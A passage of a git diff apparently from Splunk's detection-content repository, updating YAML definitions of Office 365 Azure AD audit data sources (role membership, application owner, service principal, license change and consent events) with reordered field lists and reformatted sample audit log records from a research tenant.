"lowpriv@splunkresearch.onmicrosoft.com", "UserId": "attacker@splunkresearch.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{}"}, {"Name": "extendedAuditEventCategory", "Value": "Role"}], "ModifiedProperties": [{"Name": "Role.ObjectID", "NewValue": "0ee19da2-ee3d-4743-ae53-8cb79599c384", "OldValue": ""}, {"Name": "Role.DisplayName", "NewValue": "Company Administrator", "OldValue": ""}, {"Name": "Role.TemplateId", "NewValue": "62e90394-69f5-4237-9190-012177145e10", "OldValue": ""}, {"Name": "Role.WellKnownObjectName", "NewValue": "TenantAdmins", "OldValue": ""}], "Actor": [{"ID": "attacker@splunkresearch.onmicrosoft.com", "Type": 5}, {"ID": "1003BFFD98415B4E", "Type": 3}, {"ID": "Microsoft Office 365 Portal", "Type": 1}, {"ID": "00000006-0000-0ff1-ce00-000000000000", "Type": 2}, {"ID": "User_e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "d8211c86-3244-409b-8c4f-ae27ed34b4a5", "InterSystemsId": "6a6b4dfe-8b77-49db-9999-510115d1f3dd", "IntraSystemId": "c36bfbae-b287-415b-bc14-ab5c3a9248d7", "SupportTicketId": "", "Target": [{"ID": "User_57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "User", "Type": 2}, {"ID": "lowpriv@splunkresearch.onmicrosoft.com", "Type": 5}, {"ID": "10032002CC029AE9", "Type": 3}], "TargetContextId": "d8211c86-3244-409b-8c4f-ae27ed34b4a5"}' +example_log: | + {"CreationTime": "2023-10-20T16:50:46", "Id": "30a8b107-b190-406c-9b80-c3f5c3a29129", "Operation": "Add member to role.", "OrganizationId": "d8211c86-3244-409b-8c4f-ae27ed34b4a5", "RecordType": 8, "ResultStatus": "Success", "UserKey": "1003BFFD98415B4E@splunkresearch.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "lowpriv@splunkresearch.onmicrosoft.com", "UserId": "attacker@splunkresearch.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{}"}, {"Name": "extendedAuditEventCategory", "Value": "Role"}], "ModifiedProperties": [{"Name": "Role.ObjectID", "NewValue": "0ee19da2-ee3d-4743-ae53-8cb79599c384", "OldValue": ""}, {"Name": "Role.DisplayName", "NewValue": "Company Administrator", "OldValue": ""}, {"Name": "Role.TemplateId", "NewValue": "62e90394-69f5-4237-9190-012177145e10", "OldValue": ""}, {"Name": "Role.WellKnownObjectName", "NewValue": "TenantAdmins", "OldValue": ""}], "Actor": [{"ID": "attacker@splunkresearch.onmicrosoft.com", "Type": 5}, {"ID": "1003BFFD98415B4E", "Type": 3}, {"ID": "Microsoft Office 365 Portal", "Type": 1}, {"ID": "00000006-0000-0ff1-ce00-000000000000", "Type": 2}, {"ID": "User_e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "d8211c86-3244-409b-8c4f-ae27ed34b4a5", "InterSystemsId": "6a6b4dfe-8b77-49db-9999-510115d1f3dd", "IntraSystemId": "c36bfbae-b287-415b-bc14-ab5c3a9248d7", "SupportTicketId": "", "Target": [{"ID": "User_57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "User", "Type": 2}, {"ID": "lowpriv@splunkresearch.onmicrosoft.com", "Type": 5}, {"ID": "10032002CC029AE9", "Type": 3}], "TargetContextId": "d8211c86-3244-409b-8c4f-ae27ed34b4a5"} diff --git a/data_sources/o365_add_owner_to_application_.yml b/data_sources/o365_add_owner_to_application_.yml index a37f369403..65935a8715 100644 --- a/data_sources/o365_add_owner_to_application_.yml +++ b/data_sources/o365_add_owner_to_application_.yml @@ -1,8 +1,8 @@ name: O365 Add owner to application. id: da012cbf-af6e-40ee-a1ba-32a5f8da8f8a -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the addition of an owner to an application in Microsoft 365, including details about the application, the new owner, and the user or administrator performing the action. mitre_components: @@ -20,39 +20,17 @@ supported_TA: version: 6.1.1 fields: - _time + - action - ActorContextId - Actor{}.ID - Actor{}.Type - - AzureActiveDirectoryEventType - - CreationTime - - ExtendedProperties{}.Name - - ExtendedProperties{}.Value - - Id - - InterSystemsId - - IntraSystemId - - ModifiedProperties{}.Name - - ModifiedProperties{}.NewValue - - ModifiedProperties{}.OldValue - - ObjectId - - Operation - - OrganizationId - - RecordType - - ResultStatus - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserId - - UserKey - - UserType - - Version - - Workload - - action - additionalDetails - app - authentication_service + - AzureActiveDirectoryEventType - change_type - command + - CreationTime - dataset_name - date_hour - date_mday @@ -68,21 +46,41 @@ fields: - event_type - eventtype - extendedAuditEventCategory + - ExtendedProperties{}.Name + - ExtendedProperties{}.Value - host + - Id - index + - InterSystemsId + - IntraSystemId - linecount + - ModifiedProperties{}.Name + - ModifiedProperties{}.NewValue + - ModifiedProperties{}.OldValue - object - object_attrs - object_category + - object_id + - ObjectId + - Operation + - OrganizationId - punct - record_type + - RecordType + - result + - ResultStatus - signature - source - sourcetype - splunk_server - status + - SupportTicketId - tag - tag::eventtype + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id - timeendpos - timestartpos - user @@ -90,12 +88,18 @@ fields: - user_agent_change - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"CreationTime": "2023-09-07T13:42:04", "Id": "6e2c723b-8f6e-47f4-8c60-fa23ef3fccee", "Operation": "Add owner to application.", "OrganizationId": "48203edf-5d2c-45f2-8123-a368cc8b0e51", "RecordType": 8, "ResultStatus": "Success", "UserKey": "1003BFFD98415B4E@contoso.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "user2@contoso.onmicrosoft.com", "UserId": "user@contoso.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\"}"}, {"Name": "extendedAuditEventCategory", "Value": "Application"}], "ModifiedProperties": [{"Name": "Application.ObjectID", "NewValue": "a2d68f8b-ab9f-47ac-934f-b966c3ac134f", "OldValue": ""}, {"Name": "Application.DisplayName", "NewValue": "TestApp2", "OldValue": ""}, {"Name": "Application.AppId", "NewValue": "95106c0e-3519-450e-8e38-7f326d873454", "OldValue": ""}], "Actor": [{"ID": "user@contoso.onmicrosoft.com", "Type": 5}, {"ID": "1003BFFD98415B4E", "Type": 3}, {"ID": "18ed3507-a475-4ccb-b669-d66bc9f2a36e", "Type": 2}, {"ID": "User_e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "48203edf-5d2c-45f2-8123-a368cc8b0e51", "InterSystemsId": "3f6a58c5-2fba-401d-b137-82b860830213", "IntraSystemId": "e8034ddc-0ca3-4aca-996c-1dc6dee48679", "SupportTicketId": "", "Target": [{"ID": "User_57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "User", "Type": 2}, {"ID": "user2@contoso.onmicrosoft.com", "Type": 5}, {"ID": "10032002CC029AE9", "Type": 3}], "TargetContextId": "48203edf-5d2c-45f2-8123-a368cc8b0e51"}' +example_log: | + {"CreationTime": "2023-09-07T13:42:04", "Id": "6e2c723b-8f6e-47f4-8c60-fa23ef3fccee", "Operation": "Add owner to application.", "OrganizationId": "48203edf-5d2c-45f2-8123-a368cc8b0e51", "RecordType": 8, "ResultStatus": "Success", "UserKey": "1003BFFD98415B4E@contoso.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "user2@contoso.onmicrosoft.com", "UserId": "user@contoso.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\"}"}, {"Name": "extendedAuditEventCategory", "Value": "Application"}], "ModifiedProperties": [{"Name": "Application.ObjectID", "NewValue": "a2d68f8b-ab9f-47ac-934f-b966c3ac134f", "OldValue": ""}, {"Name": "Application.DisplayName", "NewValue": "TestApp2", "OldValue": ""}, {"Name": "Application.AppId", "NewValue": "95106c0e-3519-450e-8e38-7f326d873454", "OldValue": ""}], "Actor": [{"ID": "user@contoso.onmicrosoft.com", "Type": 5}, {"ID": "1003BFFD98415B4E", "Type": 3}, {"ID": "18ed3507-a475-4ccb-b669-d66bc9f2a36e", "Type": 2}, {"ID": "User_e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "48203edf-5d2c-45f2-8123-a368cc8b0e51", "InterSystemsId": "3f6a58c5-2fba-401d-b137-82b860830213", "IntraSystemId": "e8034ddc-0ca3-4aca-996c-1dc6dee48679", "SupportTicketId": "", "Target": [{"ID": "User_57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "User", "Type": 2}, {"ID": "user2@contoso.onmicrosoft.com", "Type": 5}, {"ID": "10032002CC029AE9", "Type": 3}], "TargetContextId": "48203edf-5d2c-45f2-8123-a368cc8b0e51"} diff --git a/data_sources/o365_add_service_principal_.yml b/data_sources/o365_add_service_principal_.yml index 37c92818d4..7f62ad27c2 100644 --- a/data_sources/o365_add_service_principal_.yml +++ b/data_sources/o365_add_service_principal_.yml @@ -1,8 +1,8 @@ name: O365 Add service principal. id: 9c1ef9f5-bc30-4a47-a1bd-cb34484ee778 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the addition of a new service principal in Microsoft 365, including details about the associated application and the action initiator. mitre_components: @@ -20,39 +20,17 @@ supported_TA: version: 6.1.1 fields: - _time + - action - ActorContextId - Actor{}.ID - Actor{}.Type - - AzureActiveDirectoryEventType - - CreationTime - - ExtendedProperties{}.Name - - ExtendedProperties{}.Value - - Id - - InterSystemsId - - IntraSystemId - - ModifiedProperties{}.Name - - ModifiedProperties{}.NewValue - - ModifiedProperties{}.OldValue - - ObjectId - - Operation - - OrganizationId - - RecordType - - ResultStatus - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserId - - UserKey - - UserType - - Version - - Workload - - action - additionalDetails - app - authentication_service + - AzureActiveDirectoryEventType - change_type - command + - CreationTime - dataset_name - date_hour - date_mday @@ -68,34 +46,61 @@ fields: - event_type - eventtype - extendedAuditEventCategory + - ExtendedProperties{}.Name + - ExtendedProperties{}.Value - host + - Id - index + - InterSystemsId + - IntraSystemId - linecount + - ModifiedProperties{}.Name + - ModifiedProperties{}.NewValue + - ModifiedProperties{}.OldValue + - object - object_attrs - object_category + - object_id + - ObjectId + - Operation + - OrganizationId - punct - record_type + - RecordType + - result + - ResultStatus - signature - source - sourcetype - splunk_server - src_user + - src_user_type - status + - SupportTicketId - tag - tag::eventtype + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id - timeendpos - timestartpos - user - user_agent - user_agent_change - user_id - - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"CreationTime": "2024-02-07T22:31:14", "Id": "f624ed92-b4a2-4d42-aa8b-20a261d06b7f", "Operation": "Add service principal.", "OrganizationId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "RecordType": 8, "ResultStatus": "Success", "UserKey": "1003BFFD98415B4E@splunkresearch.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "e06366ca-8489-4748-b6a2-d7e4332f45c1", "UserId": "user30@splunkresearch.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36\",\"AppId\":\"e06366ca-8489-4748-b6a2-d7e4332f45c1\"}"}, {"Name": "extendedAuditEventCategory", "Value": "ServicePrincipal"}], "ModifiedProperties": [{"Name": "AccountEnabled", "NewValue": "[\r\n true\r\n]", "OldValue": "[]"}, {"Name": "AppPrincipalId", "NewValue": "[\r\n \"e06366ca-8489-4748-b6a2-d7e4332f45c1\"\r\n]", "OldValue": "[]"}, {"Name": "DisplayName", "NewValue": "[\r\n \"Malicious11\"\r\n]", "OldValue": "[]"}, {"Name": "ServicePrincipalName", "NewValue": "[\r\n \"e06366ca-8489-4748-b6a2-d7e4332f45c1\"\r\n]", "OldValue": "[]"}, {"Name": "Credential", "NewValue": "[\r\n {\r\n \"CredentialType\": 2,\r\n \"KeyStoreId\": \"291154f0-a9f5-45bb-87be-9c8ee5b6d62c\",\r\n \"KeyGroupId\": \"291154f0-a9f5-45bb-87be-9c8ee5b6d62c\"\r\n }\r\n]", "OldValue": "[]"}, {"Name": "Included Updated Properties", "NewValue": "AccountEnabled, AppPrincipalId, DisplayName, ServicePrincipalName, Credential", "OldValue": ""}, {"Name": "TargetId.ServicePrincipalNames", "NewValue": "e06366ca-8489-4748-b6a2-d7e4332f45c1", "OldValue": ""}], "Actor": [{"ID": "user30@splunkresearch.onmicrosoft.com", "Type": 5}, {"ID": "1003BFFD98415B4E", "Type": 3}, {"ID": "18ed3507-a475-4ccb-b669-d66bc9f2a36e", "Type": 2}, {"ID": "User_e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "InterSystemsId": "ea473f15-64b3-435a-a885-6ee3908919e2", "IntraSystemId": "00000000-0000-0000-0000-000000000000", "SupportTicketId": "", "Target": [{"ID": "ServicePrincipal_2dedf863-ac93-4f45-87b3-e32f48145380", "Type": 2}, {"ID": "2dedf863-ac93-4f45-87b3-e32f48145380", "Type": 2}, {"ID": "ServicePrincipal", "Type": 2}, {"ID": "Malicious11", "Type": 1}, {"ID": "e06366ca-8489-4748-b6a2-d7e4332f45c1", "Type": 2}, {"ID": "e06366ca-8489-4748-b6a2-d7e4332f45c1", "Type": 4}], "TargetContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4"}' +example_log: | + {"CreationTime": "2024-02-07T22:31:14", "Id": "f624ed92-b4a2-4d42-aa8b-20a261d06b7f", "Operation": "Add service principal.", "OrganizationId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "RecordType": 8, "ResultStatus": "Success", "UserKey": "1003BFFD98415B4E@splunkresearch.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "e06366ca-8489-4748-b6a2-d7e4332f45c1", "UserId": "user30@splunkresearch.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36\",\"AppId\":\"e06366ca-8489-4748-b6a2-d7e4332f45c1\"}"}, {"Name": "extendedAuditEventCategory", "Value": "ServicePrincipal"}], "ModifiedProperties": [{"Name": "AccountEnabled", "NewValue": "[\r\n true\r\n]", "OldValue": "[]"}, {"Name": "AppPrincipalId", "NewValue": "[\r\n \"e06366ca-8489-4748-b6a2-d7e4332f45c1\"\r\n]", "OldValue": "[]"}, {"Name": "DisplayName", "NewValue": "[\r\n \"Malicious11\"\r\n]", "OldValue": "[]"}, {"Name": "ServicePrincipalName", "NewValue": "[\r\n \"e06366ca-8489-4748-b6a2-d7e4332f45c1\"\r\n]", "OldValue": "[]"}, {"Name": "Credential", "NewValue": "[\r\n {\r\n \"CredentialType\": 2,\r\n \"KeyStoreId\": \"291154f0-a9f5-45bb-87be-9c8ee5b6d62c\",\r\n \"KeyGroupId\": \"291154f0-a9f5-45bb-87be-9c8ee5b6d62c\"\r\n }\r\n]", "OldValue": "[]"}, {"Name": "Included Updated Properties", "NewValue": "AccountEnabled, AppPrincipalId, DisplayName, ServicePrincipalName, Credential", "OldValue": ""}, {"Name": "TargetId.ServicePrincipalNames", "NewValue": "e06366ca-8489-4748-b6a2-d7e4332f45c1", "OldValue": ""}], "Actor": [{"ID": "user30@splunkresearch.onmicrosoft.com", "Type": 5}, {"ID": "1003BFFD98415B4E", "Type": 3}, {"ID": "18ed3507-a475-4ccb-b669-d66bc9f2a36e", "Type": 2}, {"ID": "User_e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "InterSystemsId": "ea473f15-64b3-435a-a885-6ee3908919e2", "IntraSystemId": "00000000-0000-0000-0000-000000000000", "SupportTicketId": "", "Target": [{"ID": "ServicePrincipal_2dedf863-ac93-4f45-87b3-e32f48145380", "Type": 2}, {"ID": "2dedf863-ac93-4f45-87b3-e32f48145380", "Type": 2}, {"ID": "ServicePrincipal", "Type": 2}, {"ID": "Malicious11", "Type": 1}, {"ID": "e06366ca-8489-4748-b6a2-d7e4332f45c1", "Type": 2}, {"ID": "e06366ca-8489-4748-b6a2-d7e4332f45c1", "Type": 4}], "TargetContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4"} diff --git a/data_sources/o365_change_user_license_.yml b/data_sources/o365_change_user_license_.yml index 648a5cfcfc..ce43dc1c82 100644 --- a/data_sources/o365_change_user_license_.yml +++ b/data_sources/o365_change_user_license_.yml @@ -1,8 +1,8 @@ name: O365 Change user license. id: 1029a20d-3d0d-4fb9-b5e2-22ac5380b20a -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs changes to user licenses in Microsoft 365, including additions, removals, or updates to service plans associated with a user account. mitre_components: @@ -20,36 +20,17 @@ supported_TA: version: 6.1.1 fields: - _time + - action - ActorContextId - Actor{}.ID - Actor{}.Type - - AzureActiveDirectoryEventType - - CreationTime - - ExtendedProperties{}.Name - - ExtendedProperties{}.Value - - Id - - InterSystemsId - - IntraSystemId - - ObjectId - - Operation - - OrganizationId - - RecordType - - ResultStatus - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserId - - UserKey - - UserType - - Version - - Workload - - action - additionalDetails - app - authentication_service + - AzureActiveDirectoryEventType - change_type - command + - CreationTime - dataset_name - date_hour - date_mday @@ -65,33 +46,56 @@ fields: - event_type - eventtype - extendedAuditEventCategory + - ExtendedProperties{}.Name + - ExtendedProperties{}.Value - host + - Id - index + - InterSystemsId + - IntraSystemId - linecount - object - object_attrs - object_category + - object_id + - ObjectId + - Operation + - OrganizationId - punct - record_type + - RecordType + - result + - ResultStatus - signature - source - sourcetype - splunk_server - src_user - status + - SupportTicketId - tag - tag::eventtype + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id - timeendpos - timestartpos - user - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"CreationTime": "2023-09-11T15:55:46", "Id": "1e39f32d-081d-4494-994a-533b57f91df7", "Operation": "Change user license.", "OrganizationId": "bbad9541-eb53-4533-bcef-2b76182c3b75", "RecordType": 8, "ResultStatus": "Success", "UserKey": "1003BFFD98415B4E@splunkresearch.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "victimUser@splunkresearch.onmicrosoft.com", "UserId": "evilUser@splunkresearch.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"id\":\"64c07906-cb25-4d37-b38c-a862f2e49671\",\"seq\":\"6\",\"b\":\"://admin.microsoft.com;https://wusportalprv.office.com;https://auth.microsoftonline.com;https://portal.office.com;https://portal-sdf.office.com/;https://portal.office.com/;https://cp.portal.office.com/;https://scuportalprv.office.com;https://ncuportalprv.office.com;https://ncuportal.office.com;https://weuportal.office.com;https://eusportal.office.com;https://neuportal.office.com;https://scuportal.office.com;https://seaportal.office.com;https://wusportal.office.com;https://easportal.office.com;https://wjpportal.office.com;https://ejpportal.office.com;https://nukportal.office.com;https://sukportal.office.com;https://admin-ignite.microsoft.com;https://admin-sdf.microsoft.com;https://wukportal.office.com/\\\\\\\"},{\\\\\\\"Name\\\\\\\":\\\\\\\"SPN\\\\\\\",\\\\\\\"OldValue\\\\\\\":null,\\\\\\\"NewValue\\\\\\\":\\\\\\\"Microsoft.Office365Portal;00000006-0000-0ff1-ce00-000000000000;00000006-0000-0ff1-ce00-000000000000/portal.microsoftonline.com;https://ncuportalprv-staging.office.com;https://scuportalprv-staging.office.com;https://admin.microsoft365.com;https://portal-sdf.apps.mil/;https://portal-sdf.apps.mil;https://portal.apps.mil/;https://portal.apps.mil;https://portal-sdf.office365.us/;https://portal-sdf.office365.us;https://portal.office365.us/;https://portal.office365.us;https://portal.microsoft.com;https://admin.microsoft.com;https://wusportalprv.office.com;https://auth.microsoftonline.com;https://portal.office.com;https://portal-sdf.office.com/;https://portal.office.com/;https://cp.portal.office.com/;https://scuportalprv.office.com;https://ncuportalprv.office.com;https://ncuportal.office.com;https://weuportal.office.com;https://eusportal.office.com;https://neuportal.office.com;https://scuportal.office.com;https://seaportal.office.com;https://wusportal.office.com;https://easportal.office.com;https://wjpportal.office.com;https://ejpportal.office.com;https://nukportal.office.com;https://sukportal.office.com;https://admin-ignite.microsoft.com;https://admin-sdf.microsoft.com;https://wukportal.office.com/\\\\\\\"}]\\\",\\\"additionalDetails\\\":\\\"{\\\\\\\"User-Agent\\\\\\\":\\\\\\\"O365AdminPortal\\\\\\\"}\\\"}\",\"c\":\"6\"}"}, {"Name": "extendedAuditEventCategory", "Value": "User"}], "ModifiedProperties": [], "Actor": [{"ID": "evilUser@splunkresearch.onmicrosoft.com", "Type": 5}, {"ID": "1003BFFD98415B4E", "Type": 3}, {"ID": "Microsoft Office 365 Portal", "Type": 1}, {"ID": "00000006-0000-0ff1-ce00-000000000000", "Type": 2}, {"ID": "User_e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "bbad9541-eb53-4533-bcef-2b76182c3b75", "InterSystemsId": "0817f79e-f0ea-4518-9c21-7babc9a36a79", "IntraSystemId": "6ae5503d-8764-4f6f-9547-668f4b2f82ca", "SupportTicketId": "", "Target": [{"ID": "User_57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "User", "Type": 2}, {"ID": "victimUser@splunkresearch.onmicrosoft.com", "Type": 5}, {"ID": "10032002CC029AE9", "Type": 3}], "TargetContextId": "bbad9541-eb53-4533-bcef-2b76182c3b75"}' +example_log: | + {"CreationTime": "2023-09-11T15:55:46", "Id": "1e39f32d-081d-4494-994a-533b57f91df7", "Operation": "Change user license.", "OrganizationId": "bbad9541-eb53-4533-bcef-2b76182c3b75", "RecordType": 8, "ResultStatus": "Success", "UserKey": "1003BFFD98415B4E@splunkresearch.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "victimUser@splunkresearch.onmicrosoft.com", "UserId": "evilUser@splunkresearch.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"id\":\"64c07906-cb25-4d37-b38c-a862f2e49671\",\"seq\":\"6\",\"b\":\"://admin.microsoft.com;https://wusportalprv.office.com;https://auth.microsoftonline.com;https://portal.office.com;https://portal-sdf.office.com/;https://portal.office.com/;https://cp.portal.office.com/;https://scuportalprv.office.com;https://ncuportalprv.office.com;https://ncuportal.office.com;https://weuportal.office.com;https://eusportal.office.com;https://neuportal.office.com;https://scuportal.office.com;https://seaportal.office.com;https://wusportal.office.com;https://easportal.office.com;https://wjpportal.office.com;https://ejpportal.office.com;https://nukportal.office.com;https://sukportal.office.com;https://admin-ignite.microsoft.com;https://admin-sdf.microsoft.com;https://wukportal.office.com/\\\\\\\"},{\\\\\\\"Name\\\\\\\":\\\\\\\"SPN\\\\\\\",\\\\\\\"OldValue\\\\\\\":null,\\\\\\\"NewValue\\\\\\\":\\\\\\\"Microsoft.Office365Portal;00000006-0000-0ff1-ce00-000000000000;00000006-0000-0ff1-ce00-000000000000/portal.microsoftonline.com;https://ncuportalprv-staging.office.com;https://scuportalprv-staging.office.com;https://admin.microsoft365.com;https://portal-sdf.apps.mil/;https://portal-sdf.apps.mil;https://portal.apps.mil/;https://portal.apps.mil;https://portal-sdf.office365.us/;https://portal-sdf.office365.us;https://portal.office365.us/;https://portal.office365.us;https://portal.microsoft.com;https://admin.microsoft.com;https://wusportalprv.office.com;https://auth.microsoftonline.com;https://portal.office.com;https://portal-sdf.office.com/;https://portal.office.com/;https://cp.portal.office.com/;https://scuportalprv.office.com;https://ncuportalprv.office.com;https://ncuportal.office.com;https://weuportal.office.com;https://eusportal.office.com;https://neuportal.office.com;https://scuportal.office.com;https://seaportal.office.com;https://wusportal.office.com;https://easportal.office.com;https://wjpportal.office.com;https://ejpportal.office.com;https://nukportal.office.com;https://sukportal.office.com;https://admin-ignite.microsoft.com;https://admin-sdf.microsoft.com;https://wukportal.office.com/\\\\\\\"}]\\\",\\\"additionalDetails\\\":\\\"{\\\\\\\"User-Agent\\\\\\\":\\\\\\\"O365AdminPortal\\\\\\\"}\\\"}\",\"c\":\"6\"}"}, {"Name": "extendedAuditEventCategory", "Value": "User"}], "ModifiedProperties": [], "Actor": [{"ID": "evilUser@splunkresearch.onmicrosoft.com", "Type": 5}, {"ID": "1003BFFD98415B4E", "Type": 3}, {"ID": "Microsoft Office 365 Portal", "Type": 1}, {"ID": "00000006-0000-0ff1-ce00-000000000000", "Type": 2}, {"ID": "User_e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "bbad9541-eb53-4533-bcef-2b76182c3b75", "InterSystemsId": "0817f79e-f0ea-4518-9c21-7babc9a36a79", "IntraSystemId": "6ae5503d-8764-4f6f-9547-668f4b2f82ca", "SupportTicketId": "", "Target": [{"ID": "User_57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "User", "Type": 2}, {"ID": "victimUser@splunkresearch.onmicrosoft.com", "Type": 5}, {"ID": "10032002CC029AE9", "Type": 3}], "TargetContextId": "bbad9541-eb53-4533-bcef-2b76182c3b75"} diff --git a/data_sources/o365_consent_to_application_.yml b/data_sources/o365_consent_to_application_.yml index 5e89011933..3e3cfc54c2 100644 --- a/data_sources/o365_consent_to_application_.yml +++ b/data_sources/o365_consent_to_application_.yml @@ -1,8 +1,8 @@ name: O365 Consent to application. id: 0a15a464-ef51-4614-9a07-a216eb9817db -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs user or administrator consent to an application's permissions in Microsoft 365, including details about the application, granted permissions, and the consenting user or process. mitre_components: @@ -23,34 +23,12 @@ fields: - ActorContextId - Actor{}.ID - Actor{}.Type - - AzureActiveDirectoryEventType - - CreationTime - - ExtendedProperties{}.Name - - ExtendedProperties{}.Value - - Id - - InterSystemsId - - IntraSystemId - - ModifiedProperties{}.Name - - ModifiedProperties{}.NewValue - - ModifiedProperties{}.OldValue - - ObjectId - - Operation - - OrganizationId - - RecordType - - ResultStatus - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserId - - UserKey - - UserType - - Version - - Workload - additionalDetails - app - authentication_service + - AzureActiveDirectoryEventType - command + - CreationTime - date_hour - date_mday - date_minute @@ -64,17 +42,37 @@ fields: - dvc - event_type - extendedAuditEventCategory + - ExtendedProperties{}.Name + - ExtendedProperties{}.Value - host + - Id - index + - InterSystemsId + - IntraSystemId - linecount + - ModifiedProperties{}.Name + - ModifiedProperties{}.NewValue + - ModifiedProperties{}.OldValue - object + - object_id + - ObjectId + - Operation + - OrganizationId - punct 